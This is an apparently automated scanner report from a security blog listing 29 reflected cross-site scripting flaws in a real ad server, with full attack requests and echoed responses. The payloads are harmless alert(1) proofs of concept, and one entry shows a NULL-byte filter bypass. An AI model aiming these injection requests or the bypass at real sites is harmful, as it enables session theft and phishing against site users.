adserver,adtechus.com, XSS, Cross Site Scripting, CWe-79, CAPEC-86

CAPEC-86: Embedding Script (XSS ) in HTTP Headers

Report generated by XSS.CX Research Blog at Sat Mar 05 20:38:18 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://adserver.adtechus.com/addyn/3.0/5214.1/906388/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.2. http://adserver.adtechus.com/addyn/3.0/5214.1/964839/0/-1/ADTECH [loc parameter]

1.3. http://adserver.adtechus.com/addyn/3.0/5214.1/964839/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.4. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [loc parameter]

1.5. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [loc parameter]

1.6. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.7. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.8. http://adserver.adtechus.com/addyn/3.0/5214.1/965265/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.9. http://adserver.adtechus.com/addyn/3.0/5214.1/965307/0/-1/ADTECH [loc parameter]

1.10. http://adserver.adtechus.com/addyn/3.0/5214.1/965307/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.11. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [loc parameter]

1.12. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.13. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.14. http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH [loc parameter]

1.15. http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH [name of an arbitrarily supplied request parameter]

1.16. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [loc parameter]

1.17. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [loc parameter]

1.18. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [name of an arbitrarily supplied request parameter]

1.19. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [name of an arbitrarily supplied request parameter]

1.20. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [loc parameter]

1.21. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [loc parameter]

1.22. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [name of an arbitrarily supplied request parameter]

1.23. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [name of an arbitrarily supplied request parameter]

1.24. http://adserver.adtechus.com/addyn/3.0/5294.1/1352164/0/2666/ADTECH [loc parameter]

1.25. http://adserver.adtechus.com/addyn/3.0/5294.1/1352164/0/2666/ADTECH [name of an arbitrarily supplied request parameter]

1.26. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [loc parameter]

1.27. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [loc parameter]

1.28. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [name of an arbitrarily supplied request parameter]

1.29. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 29 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.



1.1. http://adserver.adtechus.com/addyn/3.0/5214.1/906388/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/906388/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bb66"-alert(1)-"df0c7ba2037 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/906388/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_toplets_user_hub_728x90_1;size=728x90;key=;grp=967;misc=1299377656702;aduho=-360;rdclick=&7bb66"-alert(1)-"df0c7ba2037=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 404

document.write("\n");
document.write("<SCR"+"IPT TYPE=\"text/javascript\" SRC=\"http://ads.olivebrandresponse.com/st?ad_type=ad&ad_size=728x90&section=786962&pub_redirect_unencoded=1&pub_redirect=http://adserver.adtechus.com/adlink/5214/906388/0/225/AdId=607873;BnId=21;itime=377622130;nodecode=yes;link=&7bb66"-alert(1)-"df0c7ba2037=1\">
...[SNIP]...

1.2. http://adserver.adtechus.com/addyn/3.0/5214.1/964839/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964839/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3896"-alert(1)-"35218d3b928 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964839/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_300x50_1;size=300x50;key=;grp=735;misc=1299377694063;aduho=-360;rdclick=f3896"-alert(1)-"35218d3b928 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1939

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/965096/0/711/AdId=1425351;BnId=1;itime=377659043;nodecode=yes;link=f3896"-alert(1)-"35218d3b928http://canadablooms.yourhomecontests.ca\" target=\"_blank\">
...[SNIP]...

1.3. http://adserver.adtechus.com/addyn/3.0/5214.1/964839/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964839/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e700"-alert(1)-"100c303cf47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964839/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_300x50_1;size=300x50;key=;grp=735;misc=1299377694063;aduho=-360;rdclick=&4e700"-alert(1)-"100c303cf47=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1942

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/965096/0/711/AdId=1425351;BnId=1;itime=377659401;nodecode=yes;link=&4e700"-alert(1)-"100c303cf47=1http://canadablooms.yourhomecontests.ca\" target=\"_blank\">
...[SNIP]...

1.4. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964856/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af498'-alert(1)-'be74114a2e3 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964856/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x100_1;size=300x100;key=;grp=373;misc=1299368835823;aduho=-360;rdclick=af498'-alert(1)-'be74114a2e3 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 576

document.write('<a href="af498'-alert(1)-'be74114a2e3http://adserver.adtechus.com/?adlink/5214/964856/0/457/AdId=456525;BnId=1;itime=368802784;" target=_blank><img src="http://aka-cdn-ns.adtechus.com/
...[SNIP]...

1.5. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964856/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98978"-alert(1)-"962f63ef7b6 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964856/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x100_1;size=300x100;key=;grp=373;misc=1299368835823;aduho=-360;rdclick=98978"-alert(1)-"962f63ef7b6 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1301

document.write("\n");
var curDateTime = new Date();
var offset = -(curDateTime.getTimezoneOffset());
if (offset > 0)
offset = "+" + offset;
if (window.adgroupid == undefined) {
window.adgroupid = Math
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/964856/0/457/AdId=1075289;BnId=6;itime=368802725;nodecode=yes;link=98978"-alert(1)-"962f63ef7b6http://adserver.adtechus.com/adlink/3.0/5294.1/1352194/0/457/ADTECH;loc=300;key=key1+key2+key3+key4;rdclick=http://adserver.adtechus.com/adlink/5214/964856/0/457/AdId=1075289;BnId=6;itime=368802725;nod
...[SNIP]...

1.6. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964856/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15253'-alert(1)-'0a4c20bb1a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964856/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x100_1;size=300x100;key=;grp=373;misc=1299368835823;aduho=-360;rdclick=&15253'-alert(1)-'0a4c20bb1a1=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 311

document.write('<a href="&15253'-alert(1)-'0a4c20bb1a1=1http://adserver.adtechus.com/?adlink/5214/964856/0/457/AdId=456525;BnId=1;itime=368803761;" target=_blank><img src="http://aka-cdn-ns.adtechus.c
...[SNIP]...

1.7. http://adserver.adtechus.com/addyn/3.0/5214.1/964856/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/964856/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4af8f"-alert(1)-"f2f59fae0ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/964856/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x100_1;size=300x100;key=;grp=373;misc=1299368835823;aduho=-360;rdclick=&4af8f"-alert(1)-"f2f59fae0ff=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1310

document.write("\n");
var curDateTime = new Date();
var offset = -(curDateTime.getTimezoneOffset());
if (offset > 0)
offset = "+" + offset;
if (window.adgroupid == undefined) {
window.adgroupid = Math
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/964856/0/457/AdId=1075289;BnId=6;itime=368803691;nodecode=yes;link=&4af8f"-alert(1)-"f2f59fae0ff=1http://adserver.adtechus.com/adlink/3.0/5294.1/1352194/0/457/ADTECH;loc=300;key=key1+key2+key3+key4;rdclick=http://adserver.adtechus.com/adlink/5214/964856/0/457/AdId=1075289;BnId=6;itime=368803691;n
...[SNIP]...

1.8. http://adserver.adtechus.com/addyn/3.0/5214.1/965265/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/965265/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86bc3"-alert(1)-"3bc514f1d34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/965265/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_300x100_1;size=300x100;key=;grp=735;misc=1299377694001;aduho=-360;rdclick=&86bc3"-alert(1)-"3bc514f1d34=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1310

document.write("\n");
var curDateTime = new Date();
var offset = -(curDateTime.getTimezoneOffset());
if (offset > 0)
offset = "+" + offset;
if (window.adgroupid == undefined) {
window.adgroupid = Math
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/965069/0/457/AdId=1075288;BnId=8;itime=377659752;nodecode=yes;link=&86bc3"-alert(1)-"3bc514f1d34=1http://adserver.adtechus.com/adlink/3.0/5294.1/1352162/0/457/ADTECH;loc=300;key=key1+key2+key3+key4;rdclick=http://adserver.adtechus.com/adlink/5214/965069/0/457/AdId=1075288;BnId=8;itime=377659752;n
...[SNIP]...

1.9. http://adserver.adtechus.com/addyn/3.0/5214.1/965307/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/965307/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf142"-alert(1)-"369bdda6258 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/965307/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x50_1;size=300x50;key=;grp=373;misc=1299368835738;aduho=-360;rdclick=cf142"-alert(1)-"369bdda6258 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1945

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/965307/0/711/AdId=1348585;BnId=2;itime=368802700;nodecode=yes;link=cf142"-alert(1)-"369bdda6258http://www.healthzone.ca/advert/providencehealthcare/926185\" target=\"_blank\">
...[SNIP]...

1.10. http://adserver.adtechus.com/addyn/3.0/5214.1/965307/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/965307/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29c7d"-alert(1)-"cf0e0e2cc01 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/965307/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_news_world_pirates_300x50_1;size=300x50;key=;grp=373;misc=1299368835738;aduho=-360;rdclick=&29c7d"-alert(1)-"cf0e0e2cc01=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1948

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/965307/0/711/AdId=1348585;BnId=2;itime=368802412;nodecode=yes;link=&29c7d"-alert(1)-"cf0e0e2cc01=1http://www.healthzone.ca/advert/providencehealthcare/926185\" target=\"_blank\">
...[SNIP]...

1.11. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/987197/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82cb6'-alert(1)-'0cdb321169e was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/987197/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_237x90_1;size=237x90;key=;grp=735;misc=1299377669091;aduho=-360;rdclick=82cb6'-alert(1)-'0cdb321169e HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 312

document.write('<a href="82cb6'-alert(1)-'0cdb321169ehttp://adserver.adtechus.com/?adlink/5214/1044877/0/2666/AdId=1224257;BnId=8;itime=377634095;" target=_blank><img src="http://aka-cdn-ns.adtechus.c
...[SNIP]...

1.12. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/987197/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0019b65"-alert(1)-"34cbca7ae8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 19b65"-alert(1)-"34cbca7ae8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /addyn/3.0/5214.1/987197/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_237x90_1;size=237x90;key=;grp=735;misc=1299377669091;aduho=-360;rdclick=&%0019b65"-alert(1)-"34cbca7ae8=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1324

document.write("\n");
var curDateTime = new Date();
var offset = -(curDateTime.getTimezoneOffset());
if (offset > 0)
offset = "+" + offset;
if (window.adgroupid == undefined) {
window.adgroupid = Math
...[SNIP]...
<a href=\"http://adserver.adtechus.com/adlink/5214/1044877/0/2666/AdId=1075288;BnId=9;itime=377634305;nodecode=yes;link=&%0019b65"-alert(1)-"34cbca7ae8=1http://adserver.adtechus.com/adlink/3.0/5294.1/1352195/0/2666/ADTECH;loc=300;key=key1+key2+key3+key4;rdclick=http://adserver.adtechus.com/adlink/5214/1044877/0/2666/AdId=1075288;BnId=9;itime=37763430
...[SNIP]...

1.13. http://adserver.adtechus.com/addyn/3.0/5214.1/987197/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/987197/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f03d6'-alert(1)-'245bd0c83ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/987197/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_living_hub_237x90_1;size=237x90;key=;grp=735;misc=1299377669091;aduho=-360;rdclick=&f03d6'-alert(1)-'245bd0c83ed=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 1318

document.write("\n");
var curDateTime = new Date();
